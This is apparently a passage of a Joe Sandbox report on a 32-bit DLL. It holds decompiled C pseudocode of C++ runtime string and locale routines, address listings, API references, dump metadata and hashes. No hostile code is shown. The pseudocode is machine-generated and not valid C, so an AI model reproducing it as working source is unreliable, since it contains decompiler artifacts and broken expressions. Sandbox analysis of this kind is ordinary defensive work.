																										if(__eflags == 0) {
																											_t435 = 0;
																											__eflags = 0;
																										} else {
																											_t324 = E6DA89399(_t435, _t455, __eflags, _t397);
																											_t424 = _v28;
																											_t509 = _t509 + 4;
																											_t435 = _t324;
																										}
																										goto L74;
																									} else {
																										_t125 =  &(_t397[8]); // 0x80000023
																										_t325 = _t125;
																										__eflags = _t125 - _t397;
																										if(__eflags <= 0) {
																											L81:
																											E6DA81420();
																											goto L82;
																										} else {
																											goto L64;
																										}
																									}
																								} else {
																									_t455 = 0x7fffffff;
																									goto L63;
																								}
																							} else {
																								_t455 = 0x7fffffff;
																								L63:
																								_t325 = 0x80000023;
																								L64:
																								_t326 = E6DA89399(_t435, _t455, __eflags, _t325);
																								_t509 = _t509 + 4;
																								__eflags = _t326;
																								if(_t326 == 0) {
																									L82:
																									E6DA8DACF(_t371, _t397, _t424);
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									_push(_t486);
																									_t487 = _t509;
																									_t510 = _t509 - 0xc;
																									_t425 = _v260;
																									_push(_t371);
																									_t372 = _t397;
																									_t398 = 0x7fffffff;
																									_push(_t455);
																									_push(_t435);
																									_t456 = _t372[4];
																									_v272 = _t456;
																									__eflags = 0x7fffffff - _t456 - _t425;
																									if(__eflags < 0) {
																										E6DA814C0(_t372, 0x7fffffff, _t425, __eflags);
																										goto L104;
																									} else {
																										_t435 = _t372[5];
																										_t283 = _t456 + _t425;
																										_v36 = _t283;
																										_t467 = _t283 | 0x0000000f;
																										_v20 = _t435;
																										__eflags = _t467 - 0x7fffffff;
																										if(__eflags <= 0) {
																											_t285 = _t435 >> 1;
																											_t398 = 0x7fffffff - _t285;
																											__eflags = _t435 - _t398;
																											if(__eflags <= 0) {
																												_t286 = _t285 + _t435;
																												__eflags = _t467 - _t286;
																												_t456 =  <  ? _t286 : _t467;
																												_t154 = _t456 + 1; // 0x80000000
																												_t398 = _t154;
																												__eflags = _t398 - 0x1000;
																												if(_t398 < 0x1000) {
																													__eflags = _t398;
																													if(__eflags == 0) {
																														_t435 = 0;
																														__eflags = 0;
																													} else {
																														_t304 = E6DA89399(_t435, _t456, __eflags, _t398);
																														_t510 = _t510 + 4;
																														_t435 = _t304;
																													}
																													goto L97;
																												} else {
																													_t155 = _t398 + 0x23; // 0x80000023
																													_t305 = _t155;
																													__eflags = _t155 - _t398;
																													if(__eflags <= 0) {
																														L104:
																														E6DA81420();
																														goto L105;
																													} else {
																														goto L87;
																													}
																												}
																											} else {
																												_t456 = 0x7fffffff;
																												goto L86;
																											}
																										} else {
																											_t456 = 0x7fffffff;
																											L86:
																											_t305 = 0x80000023;
																											L87:
																											_t306 = E6DA89399(_t435, _t456, __eflags, _t305);
																											_t510 = _t510 + 4;
																											__eflags = _t306;
																											if(_t306 == 0) {
																												L105:
																												E6DA8DACF(_t372, _t398, _t425);
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												asm("int3");
																												_push(_t487);
																												_t511 = _t510 - 8;
																												_push(_t372);
																												_t373 = _t398;
																												_t399 = 0x7fffffff;
																												_push(_t456);
																												_t457 = _v280;
																												_t426 = _t373[4];
																												_v292 = _t426;
																												_push(_t435);
																												__eflags = 0x7fffffff - _t426 - _t457;
																												if(__eflags < 0) {
																													E6DA814C0(_t373, 0x7fffffff, _t426, __eflags);
																													goto L127;
																												} else {
																													_t437 = _t373[5];
																													_t262 = _t426 + _t457;
																													_v40 = _t262;
																													_t459 = _t262 | 0x0000000f;
																													_v24 = _t437;
																													__eflags = _t459 - 0x7fffffff;
																													if(__eflags <= 0) {
																														_t264 = _t437 >> 1;
																														_t399 = 0x7fffffff - _t264;
																														__eflags = _t437 - _t399;
																														if(__eflags <= 0) {
																															_t265 = _t264 + _t437;
																															__eflags = _t459 - _t265;
																															_t460 =  <  ? _t265 : _t459;
																															_t193 = _t460 + 1; // 0x80000000
																															_t399 = _t193;
																															__eflags = _t399 - 0x1000;
																															if(_t399 < 0x1000) {
																																__eflags = _t399;
																																if(__eflags == 0) {
																																	_t438 = 0;
																																	__eflags = 0;
																																} else {
																																	_t280 = E6DA89399(_t437, _t460, __eflags, _t399);
																																	_t426 = _v36;
																																	_t511 = _t511 + 4;
																																	_t438 = _t280;
																																}
																																goto L120;
																															} else {
																																_t194 = _t399 + 0x23; // 0x80000023
																																_t281 = _t194;
																																__eflags = _t194 - _t399;
																																if(__eflags <= 0) {
																																	L127:
																																	E6DA81420();
																																	goto L128;
																																} else {
																																	goto L110;
																																}
																															}
																														} else {
																															_t460 = 0x7fffffff;
																															goto L109;
																														}
																													} else {
																														_t460 = 0x7fffffff;
																														L109:
																														_t281 = 0x80000023;
																														L110:
																														_t282 = E6DA89399(_t437, _t460, __eflags, _t281);
																														_t511 = _t511 + 4;
																														__eflags = _t282;
																														if(_t282 == 0) {
																															L128:
																															_t259 = E6DA8DACF(_t373, _t399, _t426);
																															asm("int3");
																															asm("int3");
																															asm("int3");
																															asm("int3");
																															asm("int3");
																															asm("int3");
																															asm("int3");
																															asm("int3");
																															_t400 =  *_t399;
																															__eflags = _t400;
																															if(_t400 != 0) {
																																return  *((intOrPtr*)( *_t400))(1);
																															}
																															return _t259;
																														} else {
																															_t426 = _v36;
																															_t191 = _t282 + 0x23; // 0x23
																															_t438 = _t191 & 0xffffffe0;
																															 *(_t438 - 4) = _t282;
																															L120:
																															_t373[4] = _v40;
																															_t373[5] = _t460;
																															_t461 = _t438 + _t426;
																															_v40 = _t461;
																															__eflags = _v24 - 0x10;
																															_v36 = _v16 + _t461;
																															_push(_t426);
																															if(_v24 < 0x10) {
																																_push(_t373);
																																_push(_t438);
																																E6DA8AB10();
																																E6DA8B0A0(_t438, _t461, _v12, _v16);
																																 *_v36 = 0;
																																 *_t373 = _t438;
																																return _t373;
																															} else {
																																_t463 =  *_t373;
																																_push(_t463);
																																_push(_t438);
																																E6DA8AB10();
																																E6DA8B0A0(_t438, _v40, _v12, _v16);
																																_t402 = _v24 + 1;
																																 *_v36 = 0;
																																__eflags = _t402 - 0x1000;
																																if(_t402 < 0x1000) {
																																	L124:
																																	_push(_t402);
																																	E6DA893C9(_t463);
																																	 *_t373 = _t438;
																																	return _t373;
																																} else {
																																	_t426 =  *(_t463 - 4);
																																	_t399 = _t402 + 0x23;
																																	_t212 = _t463 - _t426 - 4; // 0x7ffffffb
																																	__eflags = _t212 - 0x1f;
																																	if(_t212 > 0x1f) {
																																		goto L128;
																																	} else {
																																		_t463 = _t426;
																																		goto L124;
																																	}
																																}
																															}
																														}
																													}
																												}
																											} else {
																												_t152 = _t306 + 0x23; // 0x23
																												_t435 = _t152 & 0xffffffe0;
																												 *(_t435 - 4) = _t306;
																												L97:
																												_t372[4] = _v36;
																												_t289 = _v12;
																												_t372[5] = _t456;
																												_v32 = _v32 - _t289 + 1;
																												_t468 = _t435 + _t289;
																												_v40 = _t468;
																												__eflags = _v20 - 0x10;
																												_v36 = _v8 + _t468;
																												_push(_t289);
																												if(_v20 < 0x10) {
																													_push(_t372);
																													_push(_t435);
																													E6DA8AB10();
																													E6DA8B0A0(_t435, _t468, _v4, _v8);
																													__eflags = _t372 + _v12;
																													E6DA8AB10(_v36, _t372 + _v12, _v32);
																													 *_t372 = _t435;
																													return _t372;
																												} else {
																													_t470 =  *_t372;
																													_push(_t470);
																													_push(_t435);
																													E6DA8AB10();
																													E6DA8B0A0(_t435, _v40, _v4, _v8);
																													E6DA8AB10(_v36, _v12 + _t470, _v32);
																													_t510 = _t510 + 0x24;
																													_t409 = _v20 + 1;
																													__eflags = _t409 - 0x1000;
																													if(_t409 < 0x1000) {
																														L101:
																														_push(_t409);
																														E6DA893C9(_t470);
																														 *_t372 = _t435;
																														return _t372;
																													} else {
																														_t425 =  *(_t470 - 4);
																														_t398 = _t409 + 0x23;
																														_t456 = _t470 - _t425;
																														_t177 = _t456 - 4; // 0x7ffffffb
																														__eflags = _t177 - 0x1f;
																														if(_t177 > 0x1f) {
																															goto L105;
																														} else {
																															_t470 = _t425;
																															goto L101;
																														}
																													}
																												}
																											}
																										}
																									}
																								} else {
																									_t424 = _v28;
																									_t122 = _t326 + 0x23; // 0x23
																									_t435 = _t122 & 0xffffffe0;
																									 *(_t435 - 4) = _t326;
																									L74:
																									_t371[4] = _v32;
																									_t371[5] = _t455;
																									_t474 = _t435 + _t424;
																									_v32 = _t474;
																									__eflags = _v16 - 0x10;
																									_v28 = _v4 + _t474;
																									_push(_t424);
																									if(_v16 < 0x10) {
																										_push(_t371);
																										_push(_t435);
																										E6DA8AB10();
																										E6DA8AB10(_t474, _v8, _v4);
																										 *_v28 = 0;
																										 *_t371 = _t435;
																										return _t371;
																									} else {
																										_t476 =  *_t371;
																										_push(_t476);
																										_push(_t435);
																										E6DA8AB10();
																										E6DA8AB10(_v32, _v8, _v4);
																										_t509 = _t509 + 0x18;
																										_t411 = _v16 + 1;
																										 *_v28 = 0;
																										__eflags = _t411 - 0x1000;
																										if(_t411 < 0x1000) {
																											L78:
																											_push(_t411);
																											E6DA893C9(_t476);
																											 *_t371 = _t435;
																											return _t371;
																										} else {
																											_t424 =  *(_t476 - 4);
																											_t397 = _t411 + 0x23;
																											_t455 = _t476 - _t424;
																											_t141 = _t455 - 4; // 0x7ffffffb
																											__eflags = _t141 - 0x1f;
																											if(_t141 > 0x1f) {
																												goto L82;
																											} else {
																												_t476 = _t424;
																												goto L78;
																											}
																										}
																									}
																								}
																							}
																						}
																					} else {
																						_t453 = _v36;
																						_v12 = _t453;
																						_v24 = 1;
																						E6DA88A87(__eflags, _t453);
																						 *((intOrPtr*)( *_t453 + 4))();
																						 *0x6dad5c78 = _t453;
																						goto L58;
																					}
																				} else {
																					_t453 = _t369;
																					goto L58;
																				}
																			} else {
																				_t453 =  *( *((intOrPtr*)(_t329 + 8)) + _t435 * 4);
																				goto L53;
																			}
																		}
																	}
																}
															} else {
																E6DA88BB9( &_v88,  &_v88, _t434);
																 *((intOrPtr*)(_t451 + 4)) = 0;
																 *_t451 = 0x6daa4e00;
																E6DA829E0( &_v88);
																_v8 = _t451;
																_v20 = 9;
																E6DA88A87(__eflags, _t451);
																 *((intOrPtr*)( *_t451 + 4))();
																 *0x6dad5c7c = _t451;
																goto L27;
															}
														} else {
															_t451 = _t367;
															goto L27;
														}
													} else {
														_t451 =  *( *((intOrPtr*)(_t342 + 8)) + _t432 * 4);
														goto L32;
													}
												}
											} else {
												L27:
												E6DA8892E( &_v36);
												 *[fs:0x0] = _v28;
												return _t451;
											}
										}
									} else {
										E6DA88BB9( &_v112,  &_v112, _t431);
										 *((intOrPtr*)(_t449 + 4)) = 0;
										 *_t449 = 0x6daa4dd0;
										E6DA88DE6(_t431, _t449, __eflags,  &_v60);
										asm("movups xmm0, [eax]");
										asm("movups [esi+0x8], xmm0");
										E6DA829E0( &_v112);
										_v36 = _t449;
										_v16 = 9;
										E6DA88A87(__eflags, _t449);
										 *((intOrPtr*)( *_t449 + 4))();
										 *0x6dad5c80 = _t449;
										goto L6;
									}
								} else {
									_t449 = _t221;
									goto L6;
								}
							} else {
								_t449 =  *( *((intOrPtr*)(_t357 + 8)) + _t429 * 4);
								goto L11;
							}
						}
					} else {
						L6:
						E6DA8892E( &_v40);
						 *[fs:0x0] = _v24;
						return _t449;
					}
				}
			}

0x6da85a50
0x6da85a51
0x6da85a59
0x6da85a60
0x6da85a64
0x6da85a66
0x6da85a68
0x6da85a73
0x6da85a74
0x6da85a7b
0x6da85a7c
0x6da85a7f
0x6da85a80
0x6da85a86
0x6da85a8b
0x6da85a92
0x6da85a98
0x6da85a9d
0x6da85aa2
0x6da85aa8
0x6da85aad
0x6da85ab3
0x6da85ab5
0x6da85aba
0x6da85abb
0x6da85ac0
0x6da85ac0
0x6da85ac8
0x6da85acd
0x6da85acd
0x6da85ad6
0x6da85ad6
0x6da85adc
0x6da85b05
0x6da85b05
0x00000000
0x6da85ade
0x6da85ae1
0x6da85ae6
0x6da85b07
0x6da85b07
0x6da85b0b
0x6da85b1d
0x6da85b1d
0x6da85b1f
0x00000000
0x00000000
0x00000000
0x00000000
0x6da85b0d
0x6da85b0d
0x6da85b12
0x6da85b15
0x6da85b21
0x6da85b21
0x6da85b24
0x6da85b26
0x6da85b33
0x6da85b35
0x6da85b38
0x6da85b3e
0x6da85b3e
0x6da85b41
0x6da85b43
0x6da85b51
0x6da85b45
0x6da85b45
0x6da85b48
0x6da85b4a
0x6da85b4c
0x6da85b4c
0x6da85b4c
0x6da85b4a
0x6da85b5b
0x6da85b60
0x6da85b67
0x6da85b6b
0x6da85b72
0x6da85b78
0x6da85b7f
0x6da85b83
0x6da85b86
0x6da85b8a
0x6da85b8d
0x6da85b90
0x6da85b93
0x6da85b96
0x6da85b9a
0x6da85b9c
0x6da85bf7
0x6da85bfc
0x6da85bfd
0x6da85bfe
0x6da85bff
0x6da85c00
0x6da85c01
0x6da85c03
0x6da85c05
0x6da85c10
0x6da85c11
0x6da85c18
0x6da85c1b
0x6da85c1c
0x6da85c1d
0x6da85c23
0x6da85c28
0x6da85c2f
0x6da85c35
0x6da85c3b
0x6da85c3d
0x6da85c43
0x6da85c48
0x6da85c4e
0x6da85c50
0x6da85c55
0x6da85c55
0x6da85c56
0x6da85c5b
0x6da85c5b
0x6da85c63
0x6da85c68
0x6da85c68
0x6da85c71
0x6da85c74
0x6da85c77
0x6da85c9e
0x6da85c9e
0x00000000
0x6da85c79
0x6da85c7c
0x6da85c7f
0x6da85c81
0x6da85ca0
0x6da85ca0
0x6da85ca4
0x6da85cb6
0x6da85cb6
0x6da85cb8
0x00000000
0x00000000
0x00000000
0x00000000
0x6da85ca6
0x6da85ca6
0x6da85cab
0x6da85cae
0x6da85cba
0x6da85cba
0x6da85cbc
0x6da85cc9
0x6da85ccb
0x6da85cce
0x6da85cd4
0x6da85cd7
0x6da85cd9
0x6da85ce7
0x6da85cdb
0x6da85cdb
0x6da85cde
0x6da85ce0
0x6da85ce2
0x6da85ce2
0x6da85ce0
0x6da85cf1
0x6da85cf6
0x6da85cfd
0x6da85d01
0x6da85d08
0x6da85d0e
0x6da85d15
0x6da85d19
0x6da85d1c
0x6da85d20
0x6da85d23
0x6da85d26
0x6da85d29
0x6da85d2c
0x6da85d30
0x6da85d32
0x6da85d7d
0x6da85d82
0x6da85d83
0x6da85d84
0x6da85d85
0x6da85d86
0x6da85d87
0x6da85d88
0x6da85d89
0x6da85d8a
0x6da85d8b
0x6da85d8c
0x6da85d8d
0x6da85d8e
0x6da85d8f
0x6da85d90
0x6da85d91
0x6da85d93
0x6da85d95
0x6da85da0
0x6da85da1
0x6da85da8
0x6da85dab
0x6da85dac
0x6da85dad
0x6da85db3
0x6da85db8
0x6da85dbf
0x6da85dc5
0x6da85dcb
0x6da85dce
0x6da85dd0
0x6da85dd6
0x6da85ddb
0x6da85de1
0x6da85de3
0x6da85de8
0x6da85de8
0x6da85de9
0x6da85dee
0x6da85dee
0x6da85df6
0x6da85dfb
0x6da85dfb
0x6da85e04
0x6da85e07
0x6da85e0a
0x6da85e18
0x6da85e18
0x00000000
0x6da85e0c
0x6da85e0f
0x6da85e12
0x6da85e14
0x6da85e70
0x6da85e73
0x6da85e80
0x6da85e8a
0x6da85e16
0x6da85e1a
0x6da85e1a
0x6da85e1e
0x6da85e30
0x6da85e30
0x6da85e32
0x00000000
0x00000000
0x00000000
0x00000000
0x6da85e20
0x6da85e20
0x6da85e25
0x6da85e28
0x6da85e34
0x6da85e34
0x6da85e36
0x6da85e43
0x6da85e48
0x6da85e4b
0x6da85e4e
0x6da85e8b
0x6da85e90
0x6da85e91
0x6da85e92
0x6da85e93
0x6da85e94
0x6da85e95
0x6da85e96
0x6da85e97
0x6da85e98
0x6da85e99
0x6da85e9a
0x6da85e9b
0x6da85e9c
0x6da85e9d
0x6da85e9e
0x6da85e9f
0x6da85ea0
0x6da85ea1
0x6da85ea3
0x6da85ea6
0x6da85ea7
0x6da85ea9
0x6da85eb0
0x6da85eb1
0x6da85eb4
0x6da85eb9
0x6da85ebc
0x6da85ebd
0x6da85ebf
0x6da85fe2
0x00000000
0x6da85ec5
0x6da85ec5
0x6da85ec8
0x6da85ecd
0x6da85ed0
0x6da85ed3
0x6da85ed6
0x6da85ed8
0x6da85f02
0x6da85f04
0x6da85f06
0x6da85f08
0x6da85f11
0x6da85f13
0x6da85f15
0x6da85f18
0x6da85f18
0x6da85f1b
0x6da85f21
0x6da85f30
0x6da85f32
0x6da85f44
0x6da85f44
0x6da85f34
0x6da85f35
0x6da85f3a
0x6da85f3d
0x6da85f40
0x6da85f40
0x00000000
0x6da85f23
0x6da85f23
0x6da85f23
0x6da85f26
0x6da85f28
0x6da85fe7
0x6da85fe7
0x00000000
0x6da85f2e
0x00000000
0x6da85f2e
0x6da85f28
0x6da85f0a
0x6da85f0a
0x00000000
0x6da85f0a
0x6da85eda
0x6da85eda
0x6da85edc
0x6da85edc
0x6da85ee1
0x6da85ee2
0x6da85ee7
0x6da85eea
0x6da85eec
0x6da85fec
0x6da85fec
0x6da85ff1
0x6da85ff2
0x6da85ff3
0x6da85ff4
0x6da85ff5
0x6da85ff6
0x6da85ff7
0x6da85ff8
0x6da85ff9
0x6da85ffa
0x6da85ffb
0x6da85ffc
0x6da85ffd
0x6da85ffe
0x6da85fff
0x6da86000
0x6da86001
0x6da86003
0x6da86006
0x6da86009
0x6da8600a
0x6da8600c
0x6da86011
0x6da86014
0x6da86015
0x6da8601a
0x6da8601d
0x6da8601f
0x6da86165
0x00000000
0x6da86025
0x6da86025
0x6da86028
0x6da8602d
0x6da86030
0x6da86033
0x6da86036
0x6da86038
0x6da8605f
0x6da86061
0x6da86063
0x6da86065
0x6da8606e
0x6da86070
0x6da86072
0x6da86075
0x6da86075
0x6da86078
0x6da8607e
0x6da8608d
0x6da8608f
0x6da8609e
0x6da8609e
0x6da86091
0x6da86092
0x6da86097
0x6da8609a
0x6da8609a
0x00000000
0x6da86080
0x6da86080
0x6da86080
0x6da86083
0x6da86085
0x6da8616a
0x6da8616a
0x00000000
0x6da8608b
0x00000000
0x6da8608b
0x6da86085
0x6da86067
0x6da86067
0x00000000
0x6da86067
0x6da8603a
0x6da8603a
0x6da8603c
0x6da8603c
0x6da86041
0x6da86042
0x6da86047
0x6da8604a
0x6da8604c
0x6da8616f
0x6da8616f
0x6da86174
0x6da86175
0x6da86176
0x6da86177
0x6da86178
0x6da86179
0x6da8617a
0x6da8617b
0x6da8617c
0x6da8617d
0x6da8617e
0x6da8617f
0x6da86180
0x6da86183
0x6da86186
0x6da86187
0x6da86189
0x6da86190
0x6da86191
0x6da86194
0x6da86199
0x6da8619c
0x6da8619d
0x6da8619f
0x6da862c9
0x00000000
0x6da861a5
0x6da861a5
0x6da861a8
0x6da861ad
0x6da861b0
0x6da861b3
0x6da861b6
0x6da861b8
0x6da861e2
0x6da861e4
0x6da861e6
0x6da861e8
0x6da861f1
0x6da861f3
0x6da861f5
0x6da861f8
0x6da861f8
0x6da861fb
0x6da86201
0x6da86210
0x6da86212
0x6da86224
0x6da86224
0x6da86214
0x6da86215
0x6da8621a
0x6da8621d
0x6da86220
0x6da86220
0x00000000
0x6da86203
0x6da86203
0x6da86203
0x6da86206
0x6da86208
0x6da862ce
0x6da862ce
0x00000000
0x6da8620e
0x00000000
0x6da8620e
0x6da86208
0x6da861ea
0x6da861ea
0x00000000
0x6da861ea
0x6da861ba
0x6da861ba
0x6da861bc
0x6da861bc
0x6da861c1
0x6da861c2
0x6da861c7
0x6da861ca
0x6da861cc
0x6da862d3
0x6da862d3
0x6da862d8
0x6da862d9
0x6da862da
0x6da862db
0x6da862dc
0x6da862dd
0x6da862de
0x6da862df
0x6da862e0
0x6da862e2
0x6da862e4
0x00000000
0x6da862ea
0x6da862ec
0x6da861d2
0x6da861d2
0x6da861d5
0x6da861d8
0x6da861db
0x6da86226
0x6da86229
0x6da86236
0x6da86239
0x6da8623e
0x6da86241
0x6da86245
0x6da86248
0x6da86249
0x6da862a0
0x6da862a1
0x6da862a2
0x6da862ae
0x6da862b9
0x6da862be
0x6da862c6
0x6da8624b
0x6da8624b
0x6da8624d
0x6da8624e
0x6da8624f
0x6da8625d
0x6da8626b
0x6da8626c
0x6da8626f
0x6da86275
0x6da86289
0x6da86289
0x6da8628b
0x6da86293
0x6da8629d
0x6da86277
0x6da86277
0x6da8627a
0x6da8627f
0x6da86282
0x6da86285
0x00000000
0x6da86287
0x6da86287
0x00000000
0x6da86287
0x6da86285
0x6da86275
0x6da86249
0x6da861cc
0x6da861b8
0x6da86052
0x6da86052
0x6da86055
0x6da86058
0x6da860a0
0x6da860a6
0x6da860b0
0x6da860b6
0x6da860b9
0x6da860bf
0x6da860c4
0x6da860c7
0x6da860cb
0x6da860ce
0x6da860cf
0x6da86131
0x6da86132
0x6da86133
0x6da8613f
0x6da8614a
0x6da86150
0x6da86158
0x6da86162
0x6da860d1
0x6da860d1
0x6da860d3
0x6da860d4
0x6da860d5
0x6da860e3
0x6da860f4
0x6da860fc
0x6da860ff
0x6da86100
0x6da86106
0x6da8611a
0x6da8611a
0x6da8611c
0x6da86124
0x6da8612e
0x6da86108
0x6da86108
0x6da8610b
0x6da8610e
0x6da86110
0x6da86113
0x6da86116
0x00000000
0x6da86118
0x6da86118
0x00000000
0x6da86118
0x6da86116
0x6da86106
0x6da860cf
0x6da8604c
0x6da86038
0x6da85ef2
0x6da85ef2
0x6da85ef5
0x6da85ef8
0x6da85efb
0x6da85f46
0x6da85f49
0x6da85f4f
0x6da85f52
0x6da85f57
0x6da85f5a
0x6da85f5e
0x6da85f61
0x6da85f62
0x6da85fb9
0x6da85fba
0x6da85fbb
0x6da85fc7
0x6da85fd2
0x6da85fd7
0x6da85fdf
0x6da85f64
0x6da85f64
0x6da85f66
0x6da85f67
0x6da85f68
0x6da85f76
0x6da85f7e
0x6da85f84
0x6da85f85
0x6da85f88
0x6da85f8e
0x6da85fa2
0x6da85fa2
0x6da85fa4
0x6da85fac
0x6da85fb6
0x6da85f90
0x6da85f90
0x6da85f93
0x6da85f96
0x6da85f98
0x6da85f9b
0x6da85f9e
0x00000000
0x6da85fa0
0x6da85fa0
0x00000000
0x6da85fa0
0x6da85f9e
0x6da85f8e
0x6da85f62
0x6da85eec
0x6da85ed8
0x6da85e50
0x6da85e50
0x6da85e53
0x6da85e57
0x6da85e5b
0x6da85e67
0x6da85e6a
0x00000000
0x6da85e6a
0x6da85e38
0x6da85e38
0x00000000
0x6da85e38
0x6da85e2a
0x6da85e2d
0x00000000
0x6da85e2d
0x6da85e28
0x6da85e1e
0x6da85e14
0x6da85d34
0x6da85d39
0x6da85d41
0x6da85d4b
0x6da85d51
0x6da85d56
0x6da85d5a
0x6da85d5e
0x6da85d6a
0x6da85d6d
0x00000000
0x6da85d6d
0x6da85cbe
0x6da85cbe
0x00000000
0x6da85cbe
0x6da85cb0
0x6da85cb3
0x00000000
0x6da85cb3
0x6da85cae
0x6da85c83
0x6da85c83
0x6da85c86
0x6da85c93
0x6da85c9d
0x6da85c9d
0x6da85c81
0x6da85b9e
0x6da85ba3
0x6da85bab
0x6da85bb3
0x6da85bb9
0x6da85bc4
0x6da85bc7
0x6da85bcb
0x6da85bd0
0x6da85bd4
0x6da85bd8
0x6da85be4
0x6da85be7
0x00000000
0x6da85be7
0x6da85b28
0x6da85b28
0x00000000
0x6da85b28
0x6da85b17
0x6da85b1a
0x00000000
0x6da85b1a
0x6da85b15
0x6da85ae8
0x6da85ae8
0x6da85aeb
0x6da85af6
0x6da85b04
0x6da85b04
0x6da85ae6

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DA85A86
std::_Lockit::_Lockit.LIBCPMT ref: 6DA85AA8
std::_Lockit::~_Lockit.LIBCPMT ref: 6DA85AC8
std::_Lockit::~_Lockit.LIBCPMT ref: 6DA85AEB
std::_Lockit::_Lockit.LIBCPMT ref: 6DA85B5B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DA85BA3
__Getctype.LIBCPMT ref: 6DA85BB9
std::_Facet_Register.LIBCPMT ref: 6DA85BD8

Strings

bad locale name, xrefs: 6DA85BF2

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 2622896957-1405518554
Opcode ID: 06907635e88ba6797731b0b6aaffc7feff9fca8b6f7b0dcdab66caf9cc7e7a0c
Instruction ID: 955578379410fba3849690eb8fecfcbd5b05d3726e4171a344eed0a76a8dfeed
Opcode Fuzzy Hash: 06907635e88ba6797731b0b6aaffc7feff9fca8b6f7b0dcdab66caf9cc7e7a0c
Instruction Fuzzy Hash: A251A375D0C3499FCB11CFA8D9847AEBBB0FF15310F198159DC55AB282EB30A985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DA862F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6DA862F0(void* __ebx, void* __edi, intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				short _v40;
				char _v44;
				short _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				char _v120;
				char _v164;
				void* __esi;
				intOrPtr _t48;
				void* _t54;
				char* _t64;
				intOrPtr _t66;
				short _t67;
				char _t69;
				char _t70;
				intOrPtr* _t73;
				intOrPtr _t76;
				intOrPtr* _t77;
				void* _t79;
				intOrPtr _t81;
				void* _t83;
				intOrPtr* _t84;
				intOrPtr _t85;
				intOrPtr _t91;
				void* _t92;
				void* _t94;

				_push(0xffffffff);
				_push(E6DAA2715);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t91;
				_t92 = _t91 - 0x94;
				_v20 = 0;
				_t73 = _a4;
				if(_t73 == 0) {
					L11:
					 *[fs:0x0] = _v16;
					return 4;
				} else {
					_t97 =  *_t73;
					if( *_t73 != 0) {
						goto L11;
					} else {
						_push(_t83);
						_push(__edi);
						_t84 = E6DA89399(__edi, _t83, _t97, 0x18);
						_t94 = _t92 + 4;
						_a4 = _t84;
						_t76 = _a8;
						_v8 = 0;
						_t6 = _t76 + 4; // 0x61657274
						_t48 =  *_t6;
						if(_t48 == 0) {
							_t81 = 0x6daaf2c7;
						} else {
							_t81 =  *((intOrPtr*)(_t48 + 0x18));
							if(_t81 == 0) {
								_t8 = _t48 + 0x1c; // 0x61657290
								_t81 = _t8;
							}
						}
						_t77 =  &_v72;
						E6DA888D6(_t77, 0);
						_v68 = 0;
						_v64 = 0;
						_v60 = 0;
						_v56 = 0;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v8 = 7;
						_t100 = _t81;
						if(_t81 == 0) {
							E6DA88889("bad locale name");
							goto L13;
						} else {
							E6DA88BB9(_t77,  &_v72, _t81);
							_v20 = 1;
							 *((intOrPtr*)(_t84 + 4)) = 0;
							_v8 = 9;
							 *_t84 = 0x6daa4e30;
							E6DA8F9AF(_t79, _t84);
							E6DA88F4F(_t100,  &_v120);
							 *((intOrPtr*)(_t84 + 8)) = 0;
							 *((intOrPtr*)(_t84 + 0x10)) = 0;
							 *((intOrPtr*)(_t84 + 0x14)) = 0;
							_v76 = _t84;
							_v8 = 0xa;
							E6DA88F4F(_t100,  &_v164);
							_push(1);
							_push(1);
							_t64 = E6DA8DD0F();
							_t94 = _t94 + 0x18;
							if(_t64 == 0) {
								L13:
								E6DA8882C(__eflags);
								goto L14;
							} else {
								_push(1);
								_push(6);
								 *_t64 = 0;
								 *((intOrPtr*)(_t84 + 8)) = _t64;
								_t77 = E6DA8DD0F();
								_t94 = _t94 + 8;
								if(_t77 == 0) {
									L14:
									E6DA8882C(__eflags);
									goto L15;
								} else {
									_t66 =  *((intOrPtr*)("false")); // 0x736c6166
									 *_t77 = _t66;
									_t67 =  *0x6daaf2f4; // 0x65
									_push(1);
									_push(5);
									 *((short*)(_t77 + 4)) = _t67;
									 *((intOrPtr*)(_t84 + 0x10)) = _t77;
									_t77 = E6DA8DD0F();
									_t94 = _t94 + 8;
									if(_t77 == 0) {
										L15:
										_t54 = E6DA8882C(__eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t84);
										_t85 =  *_t77;
										__eflags = _t85;
										if(_t85 != 0) {
